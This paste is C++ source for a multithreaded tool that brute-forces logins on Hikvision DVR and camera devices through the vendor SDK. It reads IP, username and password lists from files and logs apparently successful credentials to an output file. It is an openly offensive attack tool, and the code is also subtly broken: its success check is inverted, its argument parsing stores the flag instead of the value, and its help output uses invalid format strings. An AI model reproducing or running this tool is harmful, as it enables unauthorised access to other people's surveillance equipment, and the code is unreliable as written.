Guest User

Untitled

a guest
May 13th, 2015
276
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.81 KB | None | 0 0
  1. #include "HikSDK.h"
  2.  
  3. #include <iostream>
  4. #include <fstream>
  5. #include <string>
  6. #include <vector>
  7. #include <thread>
  8. #include <mutex>
  9.  
  10. #include <cstdio>
  11. #include <cstdlib>
  12. #include <cstdarg>
  13. #include <cstring>
  14.  
  15. typedef struct
  16. {
  17. const char *name;
  18. const char *val;
  19. const char *desc;
  20. } cvar_t;
  21.  
  22. cvar_t ip_file{ "ip_file", "ip.txt", "Ip file ( default: ip.txt )" };
  23. cvar_t pass_file{ "pass_file", "password.txt", "Password file ( default: password.txt )" };
  24. cvar_t logins_file{ "logins_file", "logins.txt", "Logins file ( default: logins.txt" };
  25. cvar_t port_num{ "port_num", "8000", "Port number ( default: 8000 )" };
  26. cvar_t out_file{ "out_file", "out.txt", "Output file( default: out.txt )" };
  27. cvar_t thread_num{ "thread_num", "1", "Threads count ( default: 1 )" };
  28.  
  29.  
  30. static std::vector<std::string> logins, passwords, ips;
  31. static std::mutex sync;
  32.  
  33. void CheckArg( int argc, char *argv[] );
  34. void LoadData();
  35. void TryLogin();
  36. void WriteData( const char *format, ... );
  37. void ThreadSpawn( const unsigned int num );
  38. void PrintHelp();
  39.  
  40. int main( int argc, char* argv[] )
  41. {
  42. CheckArg( argc, argv );
  43. LoadData();
  44.  
  45. if( ips.empty() )
  46. {
  47. printf( "No IP has given.\nExit." );
  48. return 0;
  49. }
  50.  
  51. ThreadSpawn( atoi( thread_num.val ) );
  52. TryLogin();
  53.  
  54. return 0;
  55. }
  56.  
  57. void ThreadSpawn( const unsigned int num )
  58. {
  59. std::vector<std::thread> threads;
  60. for( unsigned int i = 0; i < num; i++ )
  61. {
  62. threads.push_back( std::thread( TryLogin ) );
  63. }
  64.  
  65. for( unsigned int i = 0; i < num; i++ )
  66. {
  67. threads[i].join();
  68. }
  69. }
  70.  
  71. void PrintHelp()
  72. {
  73. printf( "-port %\n", port_num.desc );
  74. printf( "-ip %\n", ip_file.desc );
  75. printf( "-pass %\n", pass_file.desc );
  76. printf( "Yoba Inc." );
  77. }
  78.  
  79. void LoadData()
  80. {
  81. std::ifstream file;
  82. std::string line;
  83.  
  84. file.open( logins_file.val, std::ifstream::in );
  85. while( std::getline( file, line ) )
  86. {
  87. logins.push_back( line );
  88. }
  89. file.close();
  90.  
  91. file.open( pass_file.val, std::ifstream::in );
  92. while( std::getline( file, line ) )
  93. {
  94. passwords.push_back( line );
  95. }
  96. file.close();
  97.  
  98. file.open( ip_file.val, std::ifstream::in );
  99. while( std::getline( file, line ) )
  100. {
  101. ips.push_back( line );
  102. }
  103. file.close();
  104. }
  105.  
  106. void TryLogin()
  107. {
  108. FILE *file;
  109. file = fopen( out_file.val, "w" );
  110. fclose( file );
  111.  
  112. if( !NET_DVR_Init() )
  113. {
  114. printf( "Error NET_DVR_Init\n.Exit." );
  115. return;
  116. }
  117. NET_DVR_SetConnectTime( 2000, 1 );
  118. NET_DVR_SetReconnect( 1000, true );
  119.  
  120. NET_DVR_DEVICEINFO device_info;
  121.  
  122. while( true )
  123. {
  124. std::string ip;
  125.  
  126. sync.lock();
  127.  
  128. if( !ips.empty() )
  129. {
  130. ip = ips.back();
  131. ips.pop_back();
  132. }
  133. else
  134. {
  135. sync.unlock();
  136. break;
  137. }
  138.  
  139. sync.unlock();
  140.  
  141. bool login_success = false;
  142. for( const auto &login : logins )
  143. {
  144. for( const auto &password : passwords )
  145. {
  146. int UserID;
  147. UserID = NET_DVR_Login( (char*)ip.c_str(), atoi( port_num.val ), (char*)login.c_str(), (char*)password.c_str(), &device_info );
  148.  
  149. if( UserID < 0 )
  150. {
  151. login_success = true;
  152. WriteData( "IP: %s Login: %s Pass: %s Port: %s\n", ip.c_str(), login.c_str(), password.c_str(), port_num.val );
  153. NET_DVR_Logout( UserID );
  154. break;
  155. }
  156. }
  157. if( login_success )
  158. {
  159. login_success = false;
  160. break;
  161. }
  162. }
  163. }
  164. NET_DVR_Cleanup();
  165. }
  166.  
  167.  
  168. void WriteData( const char *format, ... )
  169. {
  170. va_list list;
  171. FILE *file;
  172.  
  173. file = fopen( out_file.val, "a" );
  174. if( !file )
  175. {
  176. fprintf( stderr, "WriteData: cannot open file\n" );
  177. return;
  178. }
  179. va_start( list, format );
  180. vfprintf( file, format, list );
  181. va_end( list );
  182.  
  183. fclose( file );
  184. }
  185.  
  186. void CheckArg( int argc, char *argv[] )
  187. {
  188. for( int i = 1; i < argc; i++ )
  189. {
  190. if( !strcmp( argv[i], "-port" ) )
  191. {
  192. port_num.val = argv[i++];
  193. }
  194. if( !strcmp( argv[i], "-ip" ) )
  195. {
  196. ip_file.val = argv[i++];
  197. }
  198. if( !strcmp( argv[i], "-pass" ) )
  199. {
  200. pass_file.val = argv[i++];
  201. }
  202. if( !strcmp( argv[i], "-logins" ) )
  203. {
  204. logins_file.val = argv[i++];
  205. }
  206. if( !strcmp( argv[i], "-tnum" ) )
  207. {
  208. thread_num.val = argv[i++];
  209. }
  210. if( !strcmp( argv[i], "-help" ) )
  211. {
  212. PrintHelp();
  213. }
  214. }
  215. }
Advertisement
Add Comment
Please, Sign In to add comment